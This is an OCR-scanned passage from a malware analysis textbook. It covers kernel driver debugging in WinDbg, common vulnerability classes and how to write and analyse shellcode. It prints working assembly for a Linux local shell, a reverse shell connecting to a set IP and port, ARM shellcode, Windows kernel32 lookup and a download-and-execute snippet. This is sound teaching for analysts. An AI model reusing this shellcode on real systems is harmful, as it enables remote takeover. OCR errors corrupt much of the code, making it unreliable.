be downloaded from another computer using a symbol manifest file created on
the target machine. To do this, perform the following steps:

1. On the target machine, execute the following command:

| symchk /om manifest.txt /ie ntoskrnl.exe /s <path_to_any_empty_dir>

2. The symchk tool is shipped together with WinDbg. For older systems,
ntkrnlpa.exe Can be used instead of ntoskrni.exe. The last argument, /s, aims to
avoid name resolution delays.

Move the created manifest.txt file to the machine that has internet access.

4. Run the following command:

w

| symchk /im manifest.txt /s srv*<local_path_for_downloaded_symbols>*https://n

5. Once this is done, the downloaded symbols can be moved to the host
machine and used for debugging purposes:

.sympath <local_path_to_downloaded_symbols>
.reload /f



Stopping at the driver's entrypoint

Now, we should set up a debugger to intercept the moment the driver code gets
executed so that we can get control over it immediately once it starts. Just like in
most cases, we don't have symbol information for the analyzed sample, so we
can't use common WinDbg commands such as bp <driver_name>!briverentry t0 Stop
at the driver's entrypoint. There are several other ways that this can be done, as
follows:

1. By setting unresolved breakpoints: The following command can be used to
set a breakpoint that will trigger once the module is loaded:

| bu <driver_name>!<any_string>

2. Even though the debugger doesn't stop at the entrypoint in this case, it is
possible to reach it manually. In order to do this, take the base of the driver
from the console output window, add the entrypoint offset to it, and then set
a breakpoint. Then, remove or disable the previous breakpoint and continue
execution.

3. By breaking on the module load: The following command allows you to
intercept all new modules being loaded (a colon or space can be used):

| sxe ld:<driver_name>.sys

Here is how it will look in the debugger:
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Figure 23: Breaking when a particular module is loading

Once the debugger breaks, it is possible to set a breakpoint on the driver's
entrypoint and continue to make the execution stop there:



0: kd= .shell i "!dh evilmalware” findstr entry
< shell waiting 10 second(s) for process>
B8C address of entry point
.shell: Process exited
0: kd> u TG
evilmalvare+ldbc:

fTdd266c 55 push ebp

f 5d Bbec mow  ebpesp
frdd266f Bleclc sub  esp,0Ch
frdd26T2 53 push ebe

frdd26T3 57 push edi

fTdd267T4 BBEZ204diT push offset evilmalware+lad52 (fTdd2552)
fTdd28T Bd4574 lea  =ax,[ebp-0Ch]
fTdd26Te 50 push eax

0: kd> bp fTdd2G6C

0: kd= g

Breakpoint O hit

evilmalware+ldbc:

fTdd266c 55 push ebp

|-:| : kd= ||

Figure 24: Setting a breakpoint on the driver's entrypoint

In the IDA, when working with WinDbg, this can be achieved globally fo
modules by going to Debugger | Debugger options... and enabling the Sus
on library load/unload option.

4. By intercepting the API responsible for loading drivers: This technique
allows us to stop exactly at the driver's entrypoint with a single command.
The idea here is to find an offset of the place where the 1opLoadoriver API
transfers control to the driver. It will be slightly different for different
versions of Windows and it can be found using the following command:

| .shell -ci "uf /c nt!IopLoadDriver" grep -B 1 -i "call.*ptr \[.*h"

Once the offset is found (it will look like nt:1opLoadpriver+n), it is possible
to set a breakpoint at this address and intercept all moments when the
system transfers control to the newly loaded drivers. The good thing is
that it can be reused multiple times until the system receives an update,
changing it:



80581374 £f572c . dword ptr d=:0023:86bfd80c=£ 7hackhc

80581377 3bca CILp eax,ebx
80581379 SbAdeaffffff nov ecx,dvord ptr [ebp-98h]
B058137f 8945ac nov dword ptr [ebp-54h], eax

kd: .shell -ci1 "uf /c nt!loploadDriver" grep -B 1 -1 "call #ptr [ .*h"
nt ! IopLloadDriver+0xbba (B0581374):
unresolvable call: call dyord ptr [edi+Ch]
.zhell: Process exited
kd: bp nt!loploadDriver+lxztba
kd:r g
Breakpoint 0 hit
nt ! IopLoadDriver+lxbba:
BOGRB1474 ££572c call dword ptr [edi+ZCh]

Figure 25: Intercepting the moment when the system transfers control to the just loaded driver

5. By patching the sample: Here, we can patch the driver's entrypoint with
an excc (the int s instruction representing a software breakpoint), recalculate
the checksum field in its header (in the View editor, this can be done by
selecting this field in the header, pressing F3 once to recalculate it, and then
F9 to save the changes), and load it. The debugger will break at this
instruction, so it becomes possible to restore the modified value back to the
original one. Usually, the modified instruction won't be executed after
patching. This means that it is necessary to do a single step, make sure that
it didn't work, return the IP register back to the changed instruction, and
only then continue the analysis as usual.

This approach generally takes more time and will also break the driver's
signature, but it still can be used if necessary.



Loading the driver

You aren't allowed to load unsigned drivers on modern 64-bit Windows systems,
or 32-bit systems with Secure Boot turned on. If the sample driver is not signed,
it generally makes sense to figure out the way it is being executed in the wild
(for example, by abusing other legitimate drivers) and reproduce it. In this way,
we can guarantee that malware will behave exactly as expected.

Alternatively, it is possible to disable system security mechanisms. The most
reliable way to temporarily disable it is by going to the advanced options for the
booting process and selecting the Disable driver signature enforcement option.
Additionally, make sure that Secure Boot is disabled in the firmware settings if
present. Another approach that involves using the bcdedit.exe /set testsigning

on command is not recommended for analysis as it still requires the driver to be
correctly signed by some certificate.

Now, it is time to load the analyzed driver. This can also be done straight from
the Windows console using standard sc functionality:

sc create <any_name> type= kernel binpath= "<path_to_driver>"
sc start <same_name>

An example of the preceding code block is as follows:

hvevi Imalware, sys

Figure 26: Loading a custom driver using sc tool

Notice the spaces after the "type=" and "binpath=" arguments; they are important to
make things work as expected. Once the last command is executed, the debugger
window should become active, and so the it becomes possible to start using its
commands.



Restoring the debugging state

If IDA is being used, the problem that many engineers face when they load the
driver again is that its base address changes in memory, so IDA can't apply
existing markup to it. One option here is to save the markup in IDC files and
create a script that will remap all the addresses according to the new locations.
However, there is a better way to organize this: it is recommended to make VM
snapshots with debugging states and then reconnect them to IDA when
necessary. In this way, all the addresses are guaranteed to be the same, so the
same IDC files can be applied without any changes being required.



Summary

In this chapter, we familiarized ourselves with the Windows kernel mode, and
learned how the requests are being passed from the user mode to kernel mode
and back again. Then, we discussed rootkits, what parts of this process may be
targeted by them, and for what reason. We also covered various techniques that
are implemented in modern rootkits, including how existing security
mechanisms can be bypassed by malware.

Finally, we explored the tools that are available to perform static and dynamic
analysis of kernel mode threats, learned how to set up a testing environment, and
summarized generic guidelines that can be followed when performing the
analysis. After completing this chapter, the reader should have a strong
understanding of how advanced kernel-mode threats work and how they can be
analyzed using various tools and approaches.

In chapter 7, Handling Exploits and Shellcode, we will explore the various types
of exploits and learn how legitimate software can be abused in order to let
attackers perform malicious actions.



Section 3: Examining Cross-Platform
Malware

Being able to support multiple platforms using the same source code is always
preferred by both attackers looking to infect as many users as possible and those
specializing in targeted attacks. Consequently, multiple cross-platform malware
families have appeared over the last several years, creating a need for engineers
who know how to analyze them. By going through this section, you will learn
about the specifics of cross-platform malware and will get a hands-on
understanding of how to deal with them. The following chapters are included in
this section:

e chapter 7, Handling Exploits and Shellcode
e chapter 8, Reversing Bytecode Languages: .NET, Java, and More
® chapter 9, Scripts and Macros: Reversing, Deobfuscation, and Debugging



Handling Exploits and Shellcode

At this stage, we are already aware of the different types of malware. What is
common among most of them is that they are standalone and can be executed on
their own once they reach the targeted system. However, this is not always the
case, and some of them are only designed to work properly with the help of
targeted, legitimate applications.

In our everyday life, we interact with multiple legitimate software products that
serve various purposes, from showing us pictures of cats to managing nuclear
power plants. Thus, there is a specific category of threats that aim to leverage
vulnerabilities hidden in such software in order to achieve their purposes,
whether it is to penetrate the system, escalate privileges, or crash the target
application or system, and this way disrupt some important process.

In this chapter, we will be talking about exploits and learning how to analyze
them. To that end, this chapter is divided into the following sections:

Getting familiar with vulnerabilities and exploits
Cracking the shellcode

Exploring bypasses for exploit mitigation technologies
Analyzing Microsoft Office exploits

Studying malicious PDFs



Getting familiar with vulnerabilities
and exploits

In this section, we will cover what major categories of vulnerabilities and
exploits exist and how they are related to each other. We will explain how an
attacker can take advantage of a bug (or multiple bugs) to take control of the
application (or maybe the whole system) by performing unauthorized actions in
its context.



Types of vulnerabilities

A vulnerability is a bug or weakness inside an application that can be exploited
or abused by an attacker to perform unauthorized actions. There are various
types of vulnerabilities, all of which are caused mainly by insecure coding
practices or mistakes. Particular attention should be taken when processing any
input controlled by the end user, including environment variables and
dependency modules. In this section, we will explore the most common cases
and learn how attackers can leverage them.

There are many types of vulnerabilities that are being exploited in the wild. We
will take a look at the most common ones and how an attacker can take
advantage of these vulnerabilities.



Stack overflow vulnerability

Stack overflow vulnerability is one of the most common vulnerabilities and the
one that is generally addressed first by exploit mitigation technologies. Its risk
has been reduced in recent years thanks to new improvements such as the
introduction of DEP/NX technique that will be covered in greater detail below.
However, under certain circumstances, it can be successfully exploited or at least
used to perform a Denial of Service (DoS) attack.

Let's take a look at the following simple application. As you may know, the
space for the surfer[se] variable (and any local variable) is allocated inside the
stack, followed by the return address (and the esr address that's pushed at the
beginning of the function), as you can see in the following simple C++ code:

int vulnerable(char *arg)

{
char Buffer[80];
strcpy(Buffer, arg);
return 0

b

int main (int argc, char *argv[])

{
//the commandline argument
vulnerable(arg[1]);

b

The output for the application and its local variable representations in the stack
will look like the following:

Stack:
Buffer[80] EBP REI
[« Ple—> —
80 Bytes 4 Bytes 4 Bytes

Figure 1: Local variable representations in the stack

So, by simply passing an argument to this application that's longer than 80 bytes,



the attacker can overwrite all the Buffer space, as well as the esr and the return
address. It can take control of the address from which this application will
continue execution after the vulnerable function finishes. The following diagram
demonstrates overwriting suffer[se] and the return address with shellcode:

Shellc&de Does not Matter

A

24 Bytes 60 Bytes 4 Bytes

|

Figure 2: Overwriting Buffer[80] and the return address with shellcode

This is the most basic stack overflow vulnerability. We will take a look at the
shellcode later, but right now we will look at other common types of
vulnerabilities, such as heap overflow.



Heap overflow vulnerabilities

Heap overflow vulnerabilities are exactly the same as buffer overflow
vulnerabilities, except that they target variables that are allocated using mai1oc,
Heapalloc, OF similar APIs. In this case, these variables are located in a pre-
allocated space in memory that is called heap.

The heap doesn't include a return address or the address of eesr. However, all of
the variables that are allocated (and the free spaces in the heap as well) are all
connected via a linked list structure. After each data block, there's a pointer to
where the previous item in the list and the next item are. Once the memory is
freed, the free or neaprree APIs follow these links and write the next item's
address in the previous item's next entry, and the previous item's address in the
next item's previous entry. The code will look something like this:

bool Free (LIST ENTREY® ThisItem)

=L
LIST ENTRY* NextItem, PrevItem;
//Get the next and the previous wvariable in heap
NextItem = ThisItem—>FLink;
PrevIitem = ThisItem—>BLink

= /*remove ThisItem from the list by linking the

- previous and the next together */
NextItem—->BLink = PrevItem;
PrevItem—>FLink = NextItem;

Figure 3: Sample code for the free function

By overflowing this variable, the attacker can overwrite rLink and sLink, which
makes it possible to write anything at any address. This can also be used to
overwrite the address of any function with the address of the shellcode or
whatever possible.

The heap structure is different from one system to another, and it may also
change from one version to another. This example is just being used to
demonstrate the attack structure.



The use-after-free vulnerability

This type of vulnerability is still widely used, despite all the exploit mitigations
that were introduced in the later versions of Windows. These vulnerabilities are
common in scripting languages such as JavaScript in browsers or PDF files,
VBScript in Office applications, or any other scripting language that is used
inside an application.

This vulnerability occurs when an object (a structure in memory, which we will
cover in detail in the next chapter) is still being referenced after it was freed.
Imagine that the code looks something like so:

OBJECT Buf = malloc(sizeof(OBJECT));
Buf->address_to_a_func = IsAdmin();
free(Buf);

. <some code> ....
//execute this function after the buffer was freed
(Buf->address_to_a_func)();

In the preceding code, suf contains the address of the 1sadmin() function, which
was executed later, after the whole sur variable was freed in memory. Do you
think address_to_a_func will still be pOthng tO IsAdmin()? Maybe, but if this area
was reallocated in memory with another variable controlled by the attacker, he or
she can set the value of address_to_a_func to the address of his or her choice. As a

result, this could allow the attacker to execute their shellcode and take control of
the system.

It's quite common in Object-oriented Programming (OOP) to see variables (or
objects) that have an array of functions to be executed. These are known as vtabie
arrays. When this vtabie array is overwritten and any function inside this table is
called, the attacker can redirect the execution to their shellcode, which is known
as Remote Code Execution (RCE).



Logical vulnerabilities

A logical vulnerability is a vulnerability that doesn't require memory corruption
to be executed. Instead, it abuses the application logic to perform unintended
actions. A good example of this is CVE-2010-2729 (MS10-061), named
Windows Print Spooler Service Vulnerability, which is used by Stuxnet malware.
Let's dig deeper into how it works.

Windows printing APIs allow the user to choose the directory that he or she
wishes to copy the file to be printed to. So, with an API named cetspooiFileHandae,
the attacker can get the file handle of the newly created file on the target
machine and then easily write any data there with the writerile (or similar) API.
A vulnerability like this one targets the application logic, which allows the
attacker to choose the directory they wish and provides them with the file handle
to overwrite this file with any data he or she wants.

Different logical vulnerabilities are possible, and there is no specific format for
them. This is why there is no mitigation for these type of vulnerabilities.
However, they are still relatively rare compared to memory corruption ones as
they are harder to find and not all of them lead to remote code execution or
arbitrary command execution.

There are definitely other types of vulnerabilities out there, but the types that we
have just covered are a cornerstone of other types of vulnerabilities you might
witness.

Now that we have covered how the attacker can force the application to execute
its own code, let's take a look at how this code is written and what challenges the
attacker faces when writing it.



Types of exploits

Generally speaking, you exploit a piece of code or data that takes advantage of a
bug in software to perform an unintended behavior. There are several ways
exploits can be classified. First of all, apart from the vulnerability that they
target, when we talk about exploits, it is vitally important to figure out the actual
result of the action being performed. Here are some of the most common types:

¢ Denial of Service (DoS): Here, the exploit aims to crash either an
application or the whole system, and this way disrupt its normal operation.

e Privilege escalation: In this case, the main purpose of the exploit is to
elevate privileges to give the attacker greater abilities, for example, access
to more sensitive information.

e Unauthorized data access: This group is sometimes merged with privilege
escalation category, from which it differs mainly in scope and vector. Here,
the attacker gets access to sensitive information that's unavailable in a
normal situation, with permissions set up. Unlike the previous category, the
attacker doesn't have the ability to perform arbitrary actions with different
privileges, and the privileges that are used are not necessarily higher in this
case—they may be associated with a different user of a similar access level.

e Arbitrary Code Execution (ACE): Probably the most powerful and
dangerous group, it allows the attacker to execute arbitrary code and this
way perform pretty much any action. This code is generally referred to as
shellcode and will be covered in greater detail in the next section. When the
code is being executed remotely over the network, we are talking about
Remote Code Execution (RCE).

Depending on the location from where the exploit communicates with the
targeted software, it is possible to distinguish between the following groups:

¢ Local exploits: Here, exploits are executed on the machine, so the attacker
should already have established access to it. Common examples include
exploits with DoS or privilege escalation functionality.

e Remote exploits: This group of exploits target remote machines, which
means they can be executed without prior access to the targeted system. A
common example is RCE exploits granting this access, but remote DoS



exploits are also pretty common.

Finally, if the exploit targets a vulnerability that hasn't been officially addressed
and fixed yet, it is known as a zero-day exploit.



Cracking the shellcode

In this section, we will take a look at the code that gets executed by the attacker.
This code gets executed in very special conditions without a PE header, known
memory addresses, or an import table. Let's take a look at what the shellcode is
and how it's written for Linux (Intel and ARM processors) and later for the

Windows operating system.



What's shellcode?

Shellcode is a list of carefully crafted instructions that can be executed once the
code is injected into a running application. Due to most of the exploit's
circumstances, the shellcode must be position-independent code (which means it
doesn't need to run in a specific place in memory or requires a base relocation
table to fix its addresses). Shellcode also has to operate without a PE header or a
system loader. For some exploits, it can't include certain bytes (especially null
for the overflows of the string-type of buffers).

Now, let's take a look at what this shellcode looks like in Windows and Linux.



Linux shellcode in x86-64

Linux shellcode is generally arranged much simpler than Windows shellcode.
Once the instruction pointer is pointing to the shellcode, the shellcode can
execute consecutive system calls to spawn a shell, listen on a port, or connect
back to the attacker (check chapter 10, Dissecting Linux and IoT Malware, for
more information about system calls in Linux). The main challenges that
attackers face are as follows:

e Getting the absolute address of the shellcode (to be able to access data)
e Removing any null byte that can be produced from the shellcode (optional)

Now, we will take a look at how it is possible to overcome these challenges.
After this, we will take a look at different types of shellcode.



Getting the absolute address

This is a relatively easy task. Here, the shellcode abuses the ca11 instruction,
which takes a relative address to where it should branch to and saves the
absolute return address in the stack (which the shellcode can get using the pop
instruction).

An example of this is as follows:

call next_ins:
next_ins:
pop eax ; now eax has the absolute address to next_ins

After getting the absolute address, the shellcode can get the address of any data
inside the shellcode, like so:

call next_ins:

next_ins:

pop eax ;now eax has the absolute address to next_ins

add eax, data_sec - next_ins ;here, eax has the address to data section
data_sec:

db ‘Hello, World',o®

Another common way to get the absolute address is by using the FPU instruction
fsetenv. This instruction saves some parameters related to the FPU for debugging
purposes, including the absolute address of the last executed FPU instruction.
This instruction could be used like this:

_start:

fldz

fstenv [esp-0xc]

pop eax

add eax, data_sec - _start
data_sec:

db ‘Hello, World', ©

As you see, the shellcode was able to obtain the absolute address of the last
executed FPU instruction, fidz, or in this case the address of _start, which can
help in obtaining the address of any required data or a string in the shellcode.



Null-free shellcode

Null-free shellcode is a type of shellcode that doesn't have to include any null
byte to be able to fit a null-terminated string buffer. Authors of this shellcode
have to change the way they write their code. Let's take a look at an example.

For the ca11/pop instructions that we described earlier, they will be assembled into
the following bytes:

00000000 CALL api_DbgB.00401085
POP ERX

Figure 4: call/pop in OllyDbg

w

As you can see, because of the relative addresses the call instruction uses, it
produced 4 null bytes. For the shellcode authors to handle this, they need the
relative address to be negative. It could work in a case like this:

+EB 04

58
2d

JMP SHORT api_ DbgB.00401091
POP EARX
83C0 44 ADD EBRX, 44
ES FIFFFFFF |CALL api_DbgB.0040108D
Figure 5: call/pop in OllyDbg with no null bytes

data sec - start

[l e B v

Here are some other examples of the changes the malware authors can make in
order to avoid null bytes:

Null-byte Binary Null-free .
. . . . Binary form
instruction form instruction
mov eax,5 B8 00000005 mov al,5 BO 05
. EB 05/ ES8
call next E8 00000000 jmp next/call prev FOFFFEFF
cmp eax, 0 83F8 00 test eax,eax 85C0O
mov eax, 0 B8 00000000 XOor eax,eax 33C0

As you can see, it's not very hard to do in shellcode. You will notice that most of
the shellcode from different exploits (or even the shellcode in Metasploit) is
null-free by design, even if the exploit doesn't necessarily require it.




Local shell shellcode

In this section, we will take a look at different examples of shellcode in Linux.
We will start with a simple example that spawns a shell:

jmp _end
_start:

X0r ecx,ecx

Xor eax,eax

pop ebx ; Load
mov al, 11 ;
X0r ecx,ecx ;
int 0x80 ;

mov al, 1 ;

xor ebx, ebx ;

int 0x80 ;
_end:

call _start

db '/bin/sh',0

/bin/sh in ebx
execve syscall ID
no arguments in ecx
syscall

exit syscall ID
no errors
syscall

Let's take a closer look at this code:

o At first, it executes the execve system call to launch a process, which in this
case will be /bin/sh. This represents the shell. The execve system call's
prototype looks like this:

| int execve(const char *filename, char *const argv[], char *const envp[]);

e It sets the filename in ebx with /bin/sh by using the ca11/pop instructions to get
the absolute address.

¢ No additional command line arguments need to be specified in this case, so
ecx iS set to zero (xor ecx, ecx to avoid the null byte).

o After the shell terminates, the shellcode executes the exit system call, which
is defined like this:

| void _exit(int status);

e [t sets the status to zero in ebx as the program exits normally.

In this example, you have seen how shellcode can give attackers a shell by
launching /bin/sh. For the x64 version, there are a few differences:

e int oxse is replaced by a special Intel instruction, syscaii.



e The execve system call ID has changed to exsb (59) and exit has changed to
oxac (60). To know what function each ID represents, check the Linux
system calls table in the See also section.

e [t uses rdi for the first parameter, rsi for the next, rdx, rcx, rs, ro, and the rest
in the stack.

The code will look like this:

xor rdx, rdx

push rdx ;null bytes after the /bin/sh
mov rax, 0x68732f2f6e69622f ;/bin/sh
push rax

mov rdi, rsp

push rdx ;null arguments for /bin/sh
push rdi

mov rsi, rsp

X0r rax, rax

mov al, Ox3b ;execve system call
syscall

xor rdi, rdi

mov rax, Ox3c ;exit system call
syscall

As you can see, there are no big differences between x86 and x64 when it comes
to the shellcode. Now, let's take a look at more advanced types of shellcodes.



Reverse shell shellcode

The reverse shell shellcode is one of the most widely used types of shellcode.
This shellcode connects to the attacker and provides them with a shell on the
remote system to gain full access to the remote machine. For this to happen, the
shellcode needs to follow these steps:

1. Create the socket: The shellcode needs to create a socket to connect to the
internet. The system call that could be used is socket. Here is the definition
of this function:

| int socket(int domain, int type, int protocol);

2. You will usually see it being used like this: socket( AF_INET, sock_STREAM,
1pPROTO_IP);, Where ar_inet represents most of the known internet protocols,
including zperoto_tp for IP protocol. sock_stream is used to represent a TCP
communication. From this system call, you can understand that this
shellcode is communicating with the attacker through TCP. The assembly
code looks like this:

xor edx,edx ;cleanup edx

push edx ;protocol=IPPROTO_IP (0Ox0)
push 0x1 ;socket_type=SOCK_STREAM (0x1)
push 0x2 ;socket_family=AF_INET (0x2)
mov ecx, esp ;pointer to socket() args
xor ebx, ebx

mov bl, Ox1 ;SYS_SOCKET

Xor eax,eax

mov al, Ox66 ;socketcall syscall ID
int 0x80

xchg edx, eax ;edx=sockfd (the returned socket)

3. Here, the shellcode uses the socketcal1 system call (with ID exes). This
system call represents many system calls, including socket, connect, listen,
bind, and so on. In ebx, the shellcode sets the function it wants to execute
from the socketcal1 list. Here is a snippet of the list of functions supported by

socketcall.

SYS_SOCKET 1
SYS_BIND 2

SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5



The shellcode pushes the arguments to the stack and then sets ecx to point to the
list of arguments, sets ebx = 1 (sys_socker), and sets the system call ID in eax
(socketcal1), and then executes the system call:

1. Connect to the attacker: In this step, the shellcode connects to the attacker
using its IP and port. The shellcode fills a structure called sockaddr_in with
the IP, port, and again ar_iner. Then, the shellcode executes the connect
function from the socketcal1 list of functions. The prototype looks like this:

| int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

The assembly code will look as follows:

push 0x0101017f ;sin_addr=127.1.1.1 (network byte order)
Xor ecx, ecx

mov cX, 0x3905

push cx ;sin_port=1337 (network byte order)
inc ebx

push bx ;sin_family=AF_INET (0x2)

mov ecx, esp ;save pointer to sockaddr struct
push 0x10 ;addrlen=16

push ecx ;pointer to sockaddr

push edx ;sockfd

mov ecx, esp ;save pointer to sockaddr_in struct
inc ebx ;sys_connect (0x3)

int Ox80 ;exec sys_connect

2. Redirect STDIN, STDOUT, and STDERR to socket: Before the
shellcode provides the shell to the user, it needs to redirect any output or
error messages from any program to the socket (to be sent to the attacker)
and redirect any input from the attacker to the running program. In this
case, the shellcode uses a function called dup2 that overwrites the standard
input, output, and error output with the socket one. Here is the assembly
code of this step:

push 0x2

pop ecx ;set loop counter

xchg ebx,edx ;save sockfd

; loop through three sys_dup2 calls to redirect stdin(®), stdout(1) and stde
loop:

mov al, Ox3f ;sys_dup2 systemcall ID

int 0x80

dec ecx ;decrement loop-counter

jns loop ;as long as SF is not set -> jmp to loop

In this code, the shellcode overwrites stdin (o), stdout (1), and stderr (2)
with sockfd (the socket handle) to redirect any input, output, and error
to the attacker.



3. Execute the shell: This is the last step, and is where the shellcode executes
the execve call with /bin/sh, as we saw in the previous section.

Now that you have seen a more advanced shellcode, you can
understand most of the well-known shellcodes and the methodology
behind them. For binding a shell or downloading and executing
shellcodes, the code is very similar, and it uses similar system calls
and maybe one or two extra functions. You will need to check the
definition for every system call and what arguments it takes before
analyzing the shellcode based on that.

That's for x86 and similarly for x64 on Intel processors. Now, we will take a
quick look at ARM shellcoding and the differences between it and x86.



Linux shellcode for ARM

Shellcodes on ARM systems are very similar to the shellcodes that use the Intel
instruction set. It's even easier for the shellcode authors to write in ARM as they
don't have to use cali/pop instructions or fsetenv to get the absolute address. In
ARM assembly language, you can access the program counter register (pc)
directly from the code, which makes this even simpler. Instead of int exse or
syscall, the shellcode uses svc #o Or svc #1 to execute a system function. An
example of ARM shellcode for executing a local shell is as follows:

_start:
add ro, pc, #12
mov rl, #0O
mov r2, #0
mov r7, #11 ;execve system call ID
svc #1
.ascii "/bin/sh\@"

In the preceding code, the shellcode sets re with the program counter (pc) + 12 to
point to the /bin/sh string. Then, it sets the remaining arguments for the execve
system call and calls the svc instruction to execute the code.



Null-free shellcode

ARM instructions are usually 32-bit instructions. However, many shellcodes
switch to Thumb Mode, which sets the instructions to be 16 bits only and
reduces the chances of having nuLL bytes. For the shellcode to switch to Thumb
Mode, it needs to set the least significant bit of the pc register to 1, which means
that the pc register needs to have an odd value. To do this, the shellcode can
execute the following instruction:

|add r3, pc, #1

After executing this, all instructions switch to the 16-bit mode, which reduces
null bytes significantly. By using svc #1 instead of svc #o and avoiding null
immediate values and instructions that include null bytes, the shellcode can
reach the null-free goal.

When analyzing ARM shellcode, make sure that you disassemble all the
instructions after the mode switches to their 16-bit version instead of the 32-bit
version.

Now that we have covered Linux shellcode in Intel and ARM processors, let's
take a look at the Windows shellcode.



Windows shellcode

Windows shellcodes are more complicated than Linux ones. In Windows, you
can't directly use sysenter or interrupts like in Linux as the system function IDs
change from one version to another. Windows provides interfaces to access its
functionality in libraries such as kerne132.d11. Windows shellcodes have to find
the kerne1s2.d11 ImageBase and go through its export table to get the required
APIs to implement its functionality. In terms of socket APIs, you may need to
load additional DLLs USiIlg LoadLibraryA OT LoadLibraryExA.

Windows shellcodes follow these steps to achieve their target:

Get the absolute address (we covered this in the previous section).
Get the kernels2.d11 ImageBase.

Get the required APIs from kerne1s2.d11.

Execute the payload.

A=

Now that we've covered how a shellcode gets its absolute address, we will take a
look at how it gets the kerne132.d11 ImageBase.



Getting the Kernel32.dll ImageBase

kerne132.d11 is the main DLL that's used by shellcodes. It has APIs such as
LoadLibrary, that allows you to load other libraries, and setprocaddress, which gets
the address of any API inside a library that's loaded in memory.

To access any API inside any DLL, the shellcode must get the address of the
kernel32.dll in its memory and parse its export table.

When an application is being loaded into memory, the Windows OS loads
besides its core libraries, such as kerne132.d11 and ntd11.d11, and saves the
addresses and other information of these libraries inside the Process
Environment Block (PEB). The shellcode can retrieve the address of
kernel32.d11 from the PEB as follows:

mov eax,dword ptr fs:[30h]

mov eax,dword ptr [eax+0Ch]

mov ebx,dword ptr [eax+1Ch]

mov ebx,dword ptr [ebx]
mov esi,dword ptr [ebx+8h]

The first line gets the PEB address from the rs segment register (in x64, it will be
the gs register). Then, the second and third line gets the pes->Loaderpata-

>InInitializationOrderModulelList.

The 1ninitializationorderModuleList iS a doubly—linked list that contains information
about all the loaded modules (PE Files) in memory (such as kerne1s2.d11, ntd11.d11,
and the application itself) with the ImageBase, the filename, and other
information.

The first entry that you will see in 1ninitializationordermModuleList iS ntd11.d11. To get
the kerne1s2.d11, the shellcode has to go to the next item in the list. So, in the
fourth line, the shellcode gets the next item following the forward link (Listentry-
>fLink). It gets the ImageBase from the available information about the DLL in
the fifth line.



Getting the required APIs from
Kernel32.dll

For the shellcode to be able to access the kerne1s2.d11 APISs, it should parse its
export table. The export table consists of three arrays. The first array is
Addressofnames, Which contains the names of the APIs inside the DLL file. The
second array is addressofrunctions, which contains the relative addresses (RVAs) of
all of these APIs:

Address Of Names (4 bytes) Address Of Names Ordinals (2 Bytes) Address Of Fucntions (4 Bytes)
1. CreateFile 1—3 1
2 2—1 2
3 32 3.Kemel32. CreateFile

Figure 6: Export table structure (the numbers here are not real and have been provided as an example)

However, the issue here in these two arrays is that they are aligned with a
different alignment. For example, cetprocaddress could be in the third item in the
Addressofnames, but it's in the fifth item in the addressofFunctions.

To handle this issue, Windows created a third array named addressofNameordinals.
This array has the same alignment as addressofnames and contains the index of
every item in the AddressofFunctions. Note that addressofFunctions and
AddressofNameordinals have more items than addressofnames since not all APIs have
names. The APIs without equivalent names are accessed using their ID (their
index, in addressofnameordinals). The export table will look something like this:



void cPEFile::initExportTable()

{

ExportTable. Functions = MULL,

DWORD ExportRVA = PEHeader->optional.data directory[@].virtual address;

memset (&ExportTable,8,sizeof (EXPORTTABLE));

if (ExportRVA == NULL)return;

image_export_directory* Exports = (image export directory*)(RVAToOffset(ExportRVA)+BaseAddress);

ExportTable.nilames = Exports-»number of names;

ExportTable.nFunctions = Exports->number of functions,

ExportTable.Base = Exports-»base;

ExportTable.pFunctions = (PDWORD)(RVAToOffset(Exports-raddress of functions)+BaseAddress);
ExportTable.pliames = (PDWNORD)(RVAToOffset(Exports->address of names)+BaseAddress);
ExportTable.pllamesOrdinals = (PWORD)(RVAToOffset(Exports-»address_of name_ordinals)+Basedddress):

ExportTable.Functions = (EXPORTFUNCTION*)malloc(sizeof (EXPORTFUNCTION) * ExportTable.nFunctions);

for (DWORD 1 =B;1<ExportTable.nFunctions;i++)

{
if (i < ExportTable.nlames)
{
ExportTable.Functions[1].funcllame = (char*)(DWORD* )RVAToOff set (ExportTable.plames[i]) + BaseAddress;
ExportTable.Functions[1].funcOrdinal = ExportTable.pNamesOrdinals[i];
}
else
{
ExportTable.Functions[1].funcame = NULL;
ExportTable.Functions[1].funcOrdinal = i;
}
ExportTable.Functions[i].funcRVA = ExportTable.pFunctions[ExportTable. Functions[i].funcOrdinal];
ExportTable.Functions[i].funcOrdinal++;
}



Figure 7: Export table parser (winSRDF project)

For the shellcode to get the addresses of its required APIs, it should search with
the required APIs' names in addressofnames and then take the index of it and search
for that index in addressofnameordinals to find the equivalent index of this API in
Addressofrunctions. By doing this, it will be able to get the relative address of that
API. The shellcode adds them to the ImageBase of the kerne132.d11 so that it has
the full address to this API.



The download and execute shellcode

Since Windows has the bind shell and the reverse shell payloads, it's also
common to see another type of shellcode: the download and execute shellcode.

This shellcode uses an API in urimon.d11 called urLbownloadTorilea. AS you may
understand from its name, it downloads a file from a given URL and saves it to
the hard disk when it's provided with the required path. The definition of this
API is as follows:

URLDownloadToFile
( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPE

Only szurL and szrilename are required. The remaining are mostly set to nuce. After
the file is downloaded, the shellcode executes this file using createprocessa,
winExec, O shellexecute. The C code of it may look like this:

URLDownloadToFileA(©Q, "https://localhost:4444/calc.exe", "calc.exe",0,0);
WinExec("calc.exe",SW_HIDE);

As you can see, the payload is very simple and yet very effective in executing
the second stage of the attack, which could be the backdoor that maintains
persistence and is able to communicate to the attacker and exfiltrate valuable
information.



Static and dynamic analysis of
exploits

Now that we have learned about what exploits look like and how they work, let's
summarize some practical tips and tricks for their analysis.



Analysis workflow

Firstly, you need to carefully collect any prior knowledge that's available: what
environment the exploit was found on, whether it is already known what
software was targeted and its version, and whether the exploit triggered
successfully there. All of this information will allow you to properly emulate the
testing environment and successfully reproduce the expected behavior, which is
very helpful for dynamic analysis.

Secondly, it is important to confirm how it interacts with the targeted
application. Usually, exploits are delivered through the expected input channel
(whether it is a listening socket, a web form or URI, or maybe a malformed
document, configuration file, or JS script), but other overlooked options are also
possible (for example, environment variables and dependency modules). The
next step here is to use this information to successfully reproduce the
exploitation process and identify the indicators that can confirm it. Examples
include the target application crashing in a particular way or performing
particular unique actions that can be seen using suitable system monitors (for
example, the ones that keep track of file, registry, or network operations or
accessed APIs). If the shellcode is being involved, its analysis may give valuable
